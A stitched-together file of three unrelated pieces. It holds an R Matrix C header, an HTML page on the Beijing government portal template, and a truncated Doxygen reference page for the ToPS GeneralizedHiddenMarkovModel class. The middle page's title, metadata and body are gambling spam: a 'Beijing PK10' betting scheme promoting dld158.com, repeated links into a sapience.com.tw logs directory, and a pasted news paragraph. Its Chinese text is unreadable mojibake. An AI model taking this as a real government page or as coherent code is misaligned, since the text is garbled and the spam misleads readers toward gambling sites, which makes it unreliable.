#include "R_ext/Lapack.h"
SEXP dspMatrix_validate(SEXP obj);
double get_norm_sp(SEXP obj, const char *typstr);
SEXP dspMatrix_norm(SEXP obj, SEXP type);
SEXP dspMatrix_rcond(SEXP obj, SEXP type);
SEXP dspMatrix_solve(SEXP a);
SEXP dspMatrix_matrix_solve(SEXP a, SEXP b);
SEXP dspMatrix_getDiag(SEXP x);
SEXP lspMatrix_getDiag(SEXP x);
SEXP dspMatrix_setDiag(SEXP x, SEXP d);
SEXP lspMatrix_setDiag(SEXP x, SEXP d);
SEXP dspMatrix_as_dsyMatrix(SEXP from);
SEXP dspMatrix_matrix_mm(SEXP a, SEXP b);
SEXP dspMatrix_trf(SEXP x);
#endif
| Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible"content="IE=9; IE=8; IE=7; IE=EDGE">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="description" content="±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®»¶Ó´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨" />
<title>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®_±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®-dld158ÓéÀÖ{°Ù¶ÈÐÂÎÅ}°Ù¶ÈÈÏÖ¤</title>
<!--ÈÈÁ¦Í¼¿ªÊ¼-->
<meta name="uctk" content="enabled">
<!--ÈÈÁ¦Í¼½áÊø-->
<meta name="keywords" content="±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®"/>
<meta name="description" content="»¶Ó´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨"/>
<meta name="sitename" content="Ê×¶¼Ö®´°-±±¾©ÊÐÕþÎñÃÅ»§ÍøÕ¾">
<meta name="siteurl" content="http://www.beijing.gov.cn">
<meta name="district" content="±±¾©" >
<meta name="filetype" content="0">
<meta name="publishedtype" content="1">
<meta name="pagetype" content="2">
<meta name="subject" content="28428;1">
<!-- Le styles -->
<link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap150609.css" rel="stylesheet">
<link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap-responsive150609.css" rel="stylesheet">
<style>
body {
background:#E8E8E8; /* 60px to make the container go all the way to the bottom of the topbar */
}
.navbar .btn-navbar { position:absolute; right:0; margin-top:50px;}
#othermessage p {width:50%;}
#othermessage dl { width:50%;}
#breadcrumbnav ul { width:100%;}
#breadcrumbnav ul li { line-height:14px; font-family:"ËÎÌå"; padding:0px 10px; margin:0; background:none; }
#othermessage span { padding:0px 10px;}
#footer { margin:20px -20px 0px -20px;}
.navbar .nav li a { font-family:"Microsoft YaHei";}
#div_zhengwen { font-family:"SimSun";}
#div_zhengwen p{ font-family:"SimSun"; padding:0;}
select { width:75px; float:left; height:35px;}
.search .input{ border:1px solid #c1c1c1; width:290px;}
.bdsharebuttonbox { float:left; width:80%;}
.navbar .nav li a { padding: 10px 48px 11px 49px;}
.nav_weather span { float:right;}
#footer { position:absolute; left:0; right:0; margin:20px 0 0 0;}
#essaybottom {font-family:"simsun"; }
#pic { text-align:center; }
#pic ul { padding-top:10px; display:none; }
#pic li {font-family:"SimSun";}
.content_text h1 {line-height:150%;}
.version { float:right; padding:48px 50px 0 0}
.search { padding: 50px 0 0 70px;}
.nav_weather a { font-family:simsun;}
.version li a { font-family:simsun;}
.footer-class { font-family:simsun;}
@media only screen and (max-width: 480px)
{
#pic img { width:100%;}
}
@media only screen and (max-width: 320px)
{
#pic img { width:100%;}
}
@media only screen and (max-width: 640px)
{
#pic img { width:100%;}
}
#filerider .filelink {font-family:"SimSun";}
#filerider .filelink a:link { color:#0000ff; font-family:"SimSun";}
</style>
<script type="text/javascript">
var pageName = "t1424135";
var pageExt = "htm";
var pageIndex = 0 + 1;
var pageCount = 1;
function getCurrentPage() {
document.write(pageIndex);
}
function generatePageList() {
for (i=0;i<1;i++) {
var curPage = i+1;
document.write('<option value=' + curPage);
if (curPage == pageIndex)
document.write(' selected');
document.write('>' + curPage + '</option>');
}
}
function preVious(n) {
if (pageIndex == 1) {
alert('ÒѾÊÇÊ×Ò³£¡');
} else {
getPageLocation(pageIndex-1);
}
}
function next(n) {
if (pageIndex == pageCount) {
alert('ÒѾÊÇβҳ£¡');
} else {
nextPage(pageIndex);
}
}
function nextPage(page) {
var gotoPage = "";
if (page == 0) {
gotoPage = pageName + "." + pageExt;
} else {
gotoPage = pageName + "_" + page + "." + pageExt;
}
location.href = gotoPage;
}
function getPageLocation(page) {
var gotoPage = "";
var tpage;
if (page == 1) {
gotoPage = pageName + "." + pageExt;
} else {
tpage=page-1;
gotoPage = pageName + "_" + tpage + "." + pageExt;
}
location.href = gotoPage;
}
</script>
<SCRIPT type=text/javascript>
function $(xixi) {
return document.getElementById(xixi);
}
//ת»»×ÖºÅ
function doZoom(size){
if(size==12){
$("contentText").style.fontSize = size + "px";
$("fs12").style.display = "";
$("fs14").style.display = "none";
$("fs16").style.display = "none";
}
if(size==14){
$("contentText").style.fontSize = size + "px";
$("fs12").style.display = "none";
$("fs14").style.display = "";
$("fs16").style.display = "none";
}
if(size==16){
$("contentText").style.fontSize = size + "px";
$("fs12").style.display = "none";
$("fs14").style.display = "none";
$("fs16").style.display = "";
}
}
</SCRIPT>
<!-- Le HTML5 shim, for IE6-8 support of HTML5 elements -->
<!--[if lt IE 9]>
<script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<!-- Le fav and touch icons -->
<link rel="shortcut icon" href="images/favicon.ico">
<link rel="apple-touch-icon" href="images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="72x72" href="images/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="114x114" href="images/apple-touch-icon-114x114.png">
<script type="text/javascript">
window.onload = function(){
var picurl = [
"",
"",
"",
"",
"",
"",
"",
"",
"",
""
];
var i=0;
for(i=0;i<picurl.length;i++)
{
picurl[i].index=i;
if(picurl[i]!="")
{
document.getElementById("pic_"+i).style.display = "block";
}
}
}
</script>
</head>
<body>
<div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="nav_weather">
<div class="container"><a href="http://zhengwu.beijing.gov.cn/sld/swld/swsj/t1232150.htm" title="ÊÐί" target="_blank">ÊÐί</a> | <a href="http://www.bjrd.gov.cn/" title="ÊÐÈË´ó" target="_blank">ÊÐÈË´ó</a> | <a href="http://www.beijing.gov.cn/" title="ÊÐÕþ¸®" target="_blank">ÊÐÕþ¸®</a> | <a href="http://www.bjzx.gov.cn/" title="ÊÐÕþÐ" target="_blank">ÊÐÕþÐ</a></div>
</div>
<div class="container">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<div class="span12">
<a class="brand" href="http://www.beijing.gov.cn/"><img src="http://www.beijing.gov.cn/images/zhuanti/xysym/logo.png" /></a>
<div class="search">
<script language="JavaScript" type="text/javascript">
function checkForm(){
var temp = searchForm.temp.value;
var database = searchForm.database.value;
if(temp==null || temp==""){
alert("ÇëÊäÈëËÑË÷Ìõ¼þ");
}
else{
var url="http://so.beijing.gov.cn/Query?qt="+encodeURIComponent(temp)+"&database="+encodeURIComponent(database);
window.open(url);
}
return false;
}
</script>
<form id="search" method="get" name="searchForm" action="" target="_blank" onSubmit="return checkForm()">
<input type="hidden" value="bj" id="database" name="database" />
<input name="temp" id="keyword" type="text" value="È«ÎÄËÑË÷" class="input" title="È«ÎÄËÑË÷¹Ø¼ü×Ö" />
<input id="searchbutton" type="image" src="http://www.beijing.gov.cn/images/zhuanti/xysym/search_btn.gif" width="66" height="35" title="µã»÷ËÑË÷" alt="ËÑË÷" />
</form>
</div>
<div class="version"><ul>
<li><a title="ÎÞÕϰ" href="http://wza.beijing.gov.cn/" target="_blank" id="yx_style_nav">ÎÞÕϰ</a></li>
<li><a target="_blank" title="·±Ìå°æ" href="http://210.75.193.158/gate/big5/www.beijing.gov.cn">·±Ìå</a></li>
<li><a target="_blank" title="¼òÌå°æ" href="http://www.beijing.gov.cn">¼òÌå</a></li>
<li class="last"><a target="_blank" title="English Version" href="http://www.ebeijing.gov.cn">English</a></li></ul><ul>
<li><a href="javascript:void(0)" onclick="SetHome(this,window.location)" title="ÉèΪÊ×Ò³">ÉèΪÊ×Ò³</a></li>
<li><a title="¼ÓÈëÊÕ²Ø" href="javascript:void(0)" onclick="shoucang(document.title,window.location)">¼ÓÈëÊÕ²Ø</a></li>
<li class="last"><a target="_blank" title="ÒÆ¶¯°æ" href="http://www.beijing.gov.cn/sjbsy/">ÒÆ¶¯°æ</a></li></ul></div>
</div>
</div>
<div class="nav-collapse">
<div class="container">
<ul class="nav">
<li ><a href="http://www.beijing.gov.cn/" class="normal" title="Ê×Ò³">Ê×Ò³</a></li>
<li><a href="http://zhengwu.beijing.gov.cn/" class="normal" title="ÕþÎñÐÅÏ¢">ÕþÎñÐÅÏ¢</a></li>
<li><a href="http://www.beijing.gov.cn/sqmy/default.htm" class="normal" title="ÉçÇéÃñÒâ">ÉçÇéÃñÒâ</a></li>
<li><a href="http://banshi.beijing.gov.cn" class="normal" title="ÕþÎñ·þÎñ">ÕþÎñ·þÎñ</a></li>
<li><a href="http://www.beijing.gov.cn/bmfw" class="normal" title="±ãÃñ·þÎñ">±ãÃñ·þÎñ</a></li>
<li style="background:none;"><a href="http://www.beijing.gov.cn/rwbj/default.htm" class="normal" title="ÈËÎı±¾©">ÈËÎı±¾©</a></li>
</ul>
</div>
</div><!--/.nav-collapse -->
</div>
</div>
</div>
<div class="container" style="background:#fff; margin-top:24px;">
<div class="content_text">
<div id="breadcrumbnav">
<ul>
<li>Ê×Ò³¡¡>¡¡±ãÃñ·þÎñ¡¡>¡¡×îÐÂÌáʾ</li>
</ul>
<div class="clearboth"></div>
</div>
<h1>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<div id="othermessage">
<p>
<span>À´Ô´£º±±¾©ÈÕ±¨</span>
<span>ÈÕÆÚ£º2017-04-21 01:19:50</span></p>
<dl>
<script language='JavaScript' type="text/javascript">
function changeSize(size){document.getElementById('div_zhengwen').style.fontSize=size+'px'}</script>
¡¾×ֺŠ<a href='javascript:changeSize(18)' style="font-size:16px;">´ó</a> <a href='javascript:changeSize(14)' style="font-size:14px;">ÖÐ</a> <a href='javascript:changeSize(12)' style="font-size:12px;">С</a>¡¿</dl>
</div>
</h1>
<div id="div_zhengwen">
<div id="pic">
<ul id="pic_0">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_1">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_2">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_3">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_4">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_5">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_6">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_7">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_8">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_9">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
</div>
<div class=TRS_Editor><p align="justify">¡¡¡¡±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® »¶Ó´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨</p>
<img src="{img}" width="300" height="330"/>
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q1471642.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q6392075.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q132581.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q936362.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/meng/q543274.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<p>¡¡¡¡°ÍÀ軪ÇÈÁõÉÙÒ¢Ãü°¸·¢Éú48Сʱ֮ºó£¬·¢½Í³Ì¶ÈÁîÈ˾ªÑÈ¡£ËØÀ´ÒԵ͵÷ÒþÈÌÖø³ÆµÄÂ÷¨»ªÈË£¬ÒòΪһλ¸¸Ç×Ö®ËÀ£¬Á¬ÐøÁ½Ìì×ßÉϽÖÍ·£¬ÉõÖÁͬ·¨¹ú¾¯·½·¢Éú±©Á¦³åÍ»£¬Ë¢ÐÂÁËÍâ½çµÄ¹Û¸Ð¡£Ëæ×Źٷ½µÄ½éÈëºÍÃñ¼äµÄʩѹ£¬Ê¼þÓÐÍûÔÚÒ»¸ö½Ï¸ß²ã¼¶Éϵõ½ÖØÊӺͽâ¾ö¡£µ«Óë´Ëͬʱ£¬ÆäÖÐÕÛÉä³öÀ´µÄÁîÈ˲»°²Ö®´¦¡¢ÒÔ¼°±»ÕڱεÄϸ΢֮´¦£¬Ò²ÖµµÃº£ÄÚÍâÕû¸ö»ªÈËȺÌåµÄ¸ñÍâÖØÊÓ¡£</p>
<div align="center"><img src="http://photocdn.sohu.com/20170329/Img485385772.jpeg" alt="µ±µØÊ±¼ä2017Äê3ÔÂ28ÈÕ£¬·¨¹ú°ÍÀ裬ÑÇÒáȺÌåÔÚ°ÍÀè19Çø¾¯²ì¾ÖÍ⼯»á¿¹Òé¡£¾ÝϤ£¬µ±µØÊ±¼ä26ÈÕÍí£¬Ò»ÃûÂ÷¨»ªÇÈÔÚ°ÍÀè¼ÒÖб»·¨¹ú±ãÒ¾¯²ì¿ªÇ¹Éäɱ£¬Êº󣬲¿·ÖʾÍþÕßǰÍù¾¯¾Ö¿¹Ò飬Ó뾯·½·¢Éú³åÍ»£¬µ±¾Ö³Æ35ÃûʾÍþÕß±»´þ²¶£¬3Ãû¾¯²ìÊÜÉË¡£¶«·½IC ͼ" width="595" height="397" align="middle" border="1" /</p></div>
<div id="filerider">
<div class="filelink" style="margin:10px 0 0 0;"><a href="./P020160207382291268334.doc">¸½¼þ£º2016Äê±±¾©µØÇø²©Îï¹Ý´º½ÚϵÁлһÀÀ±í</a></div>
</div>
</div>
<div id="essaybottom" style="border:0; overflow:hidden; margin-bottom:0;">
<div style="padding-bottom:8px;" id="proclaim"><p style="float:left; line-height:30px;">·ÖÏíµ½£º</p><div class="bdsharebuttonbox"><a href="#" class="bds_more" data-cmd="more"></a><a href="#" class="bds_qzone" data-cmd="qzone"></a><a href="#" class="bds_tsina" data-cmd="tsina"></a><a href="#" class="bds_tqq" data-cmd="tqq"></a><a href="#" class="bds_renren" data-cmd="renren"></a><a href="#" class="bds_weixin" data-cmd="weixin"></a></div>
<script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"","bdMini":"2","bdPic":"","bdStyle":"0","bdSize":"16"},"share":{},"image":{"viewList":["qzone","tsina","tqq","renren","weixin"],"viewText":"·ÖÏíµ½£º","viewSize":"16"},"selectShare":{"bdContainerClass":null,"bdSelectMiniList":["qzone","tsina","tqq","renren","weixin"]}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script></div>
</div>
<div id="essaybottom" style="margin-top:0;">
<div style="padding-bottom:8px;" id="proclaim">תժÉùÃ÷£º×ªÕªÇë×¢Ã÷³ö´¦²¢×ö»ØÁ´</div>
</div>
</div>
</div>
<!-- /container -->
<div id="footer">
<div class="container">
<div class="span1" style="text-align:center"><script type="text/javascript">document.write(unescape("%3Cspan id='_ideConac' %3E%3C/span%3E%3Cscript src='http://dcs.conac.cn/js/01/000/0000/60429971/CA010000000604299710004.js' type='text/javascript'%3E%3C/script%3E"));</script></div>
<div class="span8">
<div class="footer-top">
<div class="footer-class">
<p> <a title="¹ØÓÚÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306339.htm" style=" background:0">¹ØÓÚÎÒÃÇ</a><a target="_blank" title="Õ¾µãµØÍ¼" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306342.htm">Õ¾µãµØÍ¼</a><a target="_blank" title="ÁªÏµÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306343.htm">ÁªÏµÎÒÃÇ</a><a target="_blank" title="ÆÀ¼ÛÊ×¶¼Ö®´°" href="mailto:service@beijing.gov.cn">ÆÀ¼ÛÊ×¶¼Ö®´°</a><a target="_blank" title="·¨ÂÉÉùÃ÷" href="http://www.beijing.gov.cn/zdxx/t709204.htm">·¨ÂÉÉùÃ÷</a> </p>
<p>Ö÷°ì£º±±¾©ÊÐÈËÃñÕþ¸® °æÈ¨ËùÓга죺±±¾©Êо¼ÃºÍÐÅÏ¢»¯Î¯Ô±»á ¾©ICP±¸05060933ºÅ ÔËÐйÜÀí£ºÊ×¶¼Ö®´°ÔËÐйÜÀíÖÐÐÄ</p>
<p>¾©¹«Íø°²±¸ 110105000722 µØÖ·£º±±¾©Êг¯ÑôÇø±±³½Î÷·Êý×Ö±±¾©´óÏÃÄϰ˲㠴«Õ棺84371700 ¿Í·þÖÐÐĵ绰£º59321109</p>
</div>
</div>
</div>
</div>
</div>
<div style="display:none">
<script type="text/javascript">document.write(unescape("%3Cscript src='http://yhfx.beijing.gov.cn/webdig.js?z=12' type='text/javascript'%3E%3C/script%3E"));</script>
<script type="text/javascript">wd_paramtracker("_wdxid=000000000000000000000000000000000000000000")</script>
</div>
<script src="http://static.gridsumdissector.com/js/Clients/GWD-800003-C99186/gs.js" language="JavaScript"></script>
<script type="text/javascript">
// ÉèÖÃΪÖ÷Ò³
function SetHome(obj,vrl){
try{
obj.style.behavior='url(#default#homepage)';obj.setHomePage(vrl);
}
catch(e){
if(window.netscape) {
try {
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
}
catch (e) {
alert("´Ë²Ù×÷±»ä¯ÀÀÆ÷¾Ü¾ø£¡\nÇëÔÚä¯ÀÀÆ÷µØÖ·À¸ÊäÈë¡°about:config¡±²¢»Ø³µ\nÈ»ºó½« [signed.applets.codebase_principal_support]µÄÖµÉèÖÃΪ'true',Ë«»÷¼´¿É¡£");
}
var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch);
prefs.setCharPref('browser.startup.homepage',vrl);
}else{
alert("ÄúµÄä¯ÀÀÆ÷²»Ö§³Ö£¬Çë°´ÕÕÏÂÃæ²½Öè²Ù×÷£º1.´ò¿ªä¯ÀÀÆ÷ÉèÖá£2.µã»÷ÉèÖÃÍøÒ³¡£3.ÊäÈ룺"+vrl+"µã»÷È·¶¨¡£");
}
}
}
// ¼ÓÈëÊÕ²Ø ¼æÈÝ360ºÍIE6
function shoucang(sTitle,sURL)
{
try
{
window.external.addFavorite(sURL, sTitle);
}
catch (e)
{
try
{
window.sidebar.addPanel(sTitle, sURL, "");
}
catch (e)
{
alert("¼ÓÈëÊÕ²ØÊ§°Ü£¬ÇëʹÓÃCtrl+D½øÐÐÌí¼Ó");
}
}
}
</script>
<!-- Le javascript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="/images/zhuanti/xysym/jquery.js"></script>
<script src="/images/zhuanti/xysym/bootstrap-collapse.js"></script>
<script>
$(document).ready(function(){
$(".ui-select").selectWidget({
change : function (changes) {
return changes;
},
effect : "slide",
keyControl : true,
speed : 200,
scrollHeight : 250
});
});
</script>
</body>
</html> | Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<title>ToPS: tops::GeneralizedHiddenMarkovModel Class Reference</title>
<link href="../../tabs.css" rel="stylesheet" type="text/css"/>
<link href="../../doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">ToPS
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- Generated by Doxygen 1.8.0 -->
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="../../index.html"><span>Main Page</span></a></li>
<li class="current"><a href="../../annotated.html"><span>Classes</span></a></li>
<li><a href="../../files.html"><span>Files</span></a></li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="../../annotated.html"><span>Class List</span></a></li>
<li><a href="../../hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="../../functions.html"><span>Class Members</span></a></li>
</ul>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>tops</b> </li>
<li class="navelem"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html">GeneralizedHiddenMarkovModel</a> </li>
</ul>
</div>
</div>
<div class="header">
<div class="summary">
<a href="classtops_1_1GeneralizedHiddenMarkovModel.html#pub-methods">Public Member Functions</a> </div>
<div class="headertitle">
<div class="title">tops::GeneralizedHiddenMarkovModel Class Reference</div> </div>
</div><!--header-->
<div class="contents">
<p>This is a class representing Hidden semi-Markov Models.
<a href="classtops_1_1GeneralizedHiddenMarkovModel.html#details">More...</a></p>
<p><code>#include <<a class="el" href="../../d3/ddd/GeneralizedHiddenMarkovModel_8hpp_source.html">GeneralizedHiddenMarkovModel.hpp</a>></code></p>
<div class="dynheader">
Inheritance diagram for tops::GeneralizedHiddenMarkovModel:</div>
<div class="dyncontent">
<div class="center">
<img src="classtops_1_1GeneralizedHiddenMarkovModel.png" usemap="#tops::GeneralizedHiddenMarkovModel_map" alt=""/>
<map id="tops::GeneralizedHiddenMarkovModel_map" name="tops::GeneralizedHiddenMarkovModel_map">
<area href="../../d6/db0/classtops_1_1DecodableModel.html" title="Interface defining probabilistic model with the viterbi, forward and backward algorithm." alt="tops::DecodableModel" shape="rect" coords="0,56,227,80"/>
<area href="../../d4/d17/classtops_1_1ProbabilisticModel.html" title="This is an abstract class representing a generative probabilistic model." alt="tops::ProbabilisticModel" shape="rect" coords="0,0,227,24"/>
</map>
</div></div>
<p><a href="../../d2/d61/classtops_1_1GeneralizedHiddenMarkovModel-members.html">List of all members.</a></p>
<table class="memberdecls">
<tr><td colspan="2"><h2><a name="pub-methods"></a>
Public Member Functions</h2></td></tr>
<tr class="memitem:a33c4191729b2beb37b1c900a823851cc"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a33c4191729b2beb37b1c900a823851cc"></a>
virtual double </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a33c4191729b2beb37b1c900a823851cc">forward</a> (const Sequence &s, Matrix &alpha) const </td></tr>
<tr class="memdesc:a33c4191729b2beb37b1c900a823851cc"><td class="mdescLeft"> </td><td class="mdescRight">Forward algorithm. <br/></td></tr>
<tr class="memitem:a1eb58c78c5338217e19ffe222643db21"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a1eb58c78c5338217e19ffe222643db21"></a>
virtual double </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a1eb58c78c5338217e19ffe222643db21">backward</a> (const Sequence &s, Matrix &beta) const </td></tr>
<tr class="memdesc:a1eb58c78c5338217e19ffe222643db21"><td class="mdescLeft"> </td><td class="mdescRight">Backward algorithm. <br/></td></tr>
<tr class="memitem:a3d79218bc61085d3c26145709f0a128e"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a3d79218bc61085d3c26145709f0a128e"></a>
virtual double </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a3d79218bc61085d3c26145709f0a128e">viterbi</a> (const Sequence &s, Sequence &path, Matrix &gamma) const </td></tr>
<tr class="memdesc:a3d79218bc61085d3c26145709f0a128e"><td class="mdescLeft"> </td><td class="mdescRight">Viterbi algorithm. <br/></td></tr>
<tr class="memitem:abb20e8b6109fb2e677a84c14a4cd4b1b"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="abb20e8b6109fb2e677a84c14a4cd4b1b"></a>
virtual void </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#abb20e8b6109fb2e677a84c14a4cd4b1b">choosePath</a> (const Sequence &s, Sequence &path)</td></tr>
<tr class="memdesc:abb20e8b6109fb2e677a84c14a4cd4b1b"><td class="mdescLeft"> </td><td class="mdescRight">Choose a path given a sequence_length. <br/></td></tr>
<tr class="memitem:afaec4f19a5ff7fd0102b9dd9ea69a923"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="afaec4f19a5ff7fd0102b9dd9ea69a923"></a>
virtual double </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#afaec4f19a5ff7fd0102b9dd9ea69a923">_viterbi</a> (const Sequence &s, Sequence &path, Matrix &gamma) const </td></tr>
<tr class="memdesc:afaec4f19a5ff7fd0102b9dd9ea69a923"><td class="mdescLeft"> </td><td class="mdescRight">Inefficient Viterbi algorithm. <br/></td></tr>
<tr class="memitem:ad2d2afe710eb6e0527b817b8bb6363d2"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ad2d2afe710eb6e0527b817b8bb6363d2"></a>
virtual Sequence & </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#ad2d2afe710eb6e0527b817b8bb6363d2">chooseObservation</a> (Sequence &h, int i, int state) const </td></tr>
<tr class="memdesc:ad2d2afe710eb6e0527b817b8bb6363d2"><td class="mdescLeft"> </td><td class="mdescRight">Choose the observation given a state. <br/></td></tr>
<tr class="memitem:a0b7757d5ee7c360f849bedcc7260fd98"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a0b7757d5ee7c360f849bedcc7260fd98"></a>
virtual int </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a0b7757d5ee7c360f849bedcc7260fd98">chooseState</a> (int state) const </td></tr>
<tr class="memdesc:a0b7757d5ee7c360f849bedcc7260fd98"><td class="mdescLeft"> </td><td class="mdescRight">Choose a state. <br/></td></tr>
<tr class="memitem:a1ac923173df8a4560410950aca78ecdb"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a1ac923173df8a4560410950aca78ecdb"></a>
virtual int </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a1ac923173df8a4560410950aca78ecdb">chooseFirstState</a> () const </td></tr>
<tr class="memdesc:a1ac923173df8a4560410950aca78ecdb"><td class="mdescLeft"> </td><td class="mdescRight">Choose the initial state. <br/></td></tr>
<tr class="memitem:a981f8d1a88178cedc2fe5eb117e22621"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a981f8d1a88178cedc2fe5eb117e22621"></a>
virtual DiscreteIIDModelPtr </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a981f8d1a88178cedc2fe5eb117e22621">getInitialProbabilities</a> () const </td></tr>
<tr class="memdesc:a981f8d1a88178cedc2fe5eb117e22621"><td class="mdescLeft"> </td><td class="mdescRight">Choose the initial state. <br/></td></tr>
<tr class="memitem:ae435d1375c670f572945ba048a0148ee"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ae435d1375c670f572945ba048a0148ee"></a>
virtual std::string </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#ae435d1375c670f572945ba048a0148ee">getStateName</a> (int state) const </td></tr>
<tr class="memdesc:ae435d1375c670f572945ba048a0148ee"><td class="mdescLeft"> </td><td class="mdescRight">Get state name. <br/></td></tr>
<tr class="memitem:a26d11f66887c48358545d915bc35d8a5"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a26d11f66887c48358545d915bc35d8a5"></a>
virtual AlphabetPtr </td><td class="memItemRight" valign="bottom"><a class="el" href="classtops_1_1GeneralizedHiddenMarkovModel.html#a26d11f66887c48358545d915bc35d8a5">getStateNames</a> () const </td></tr>
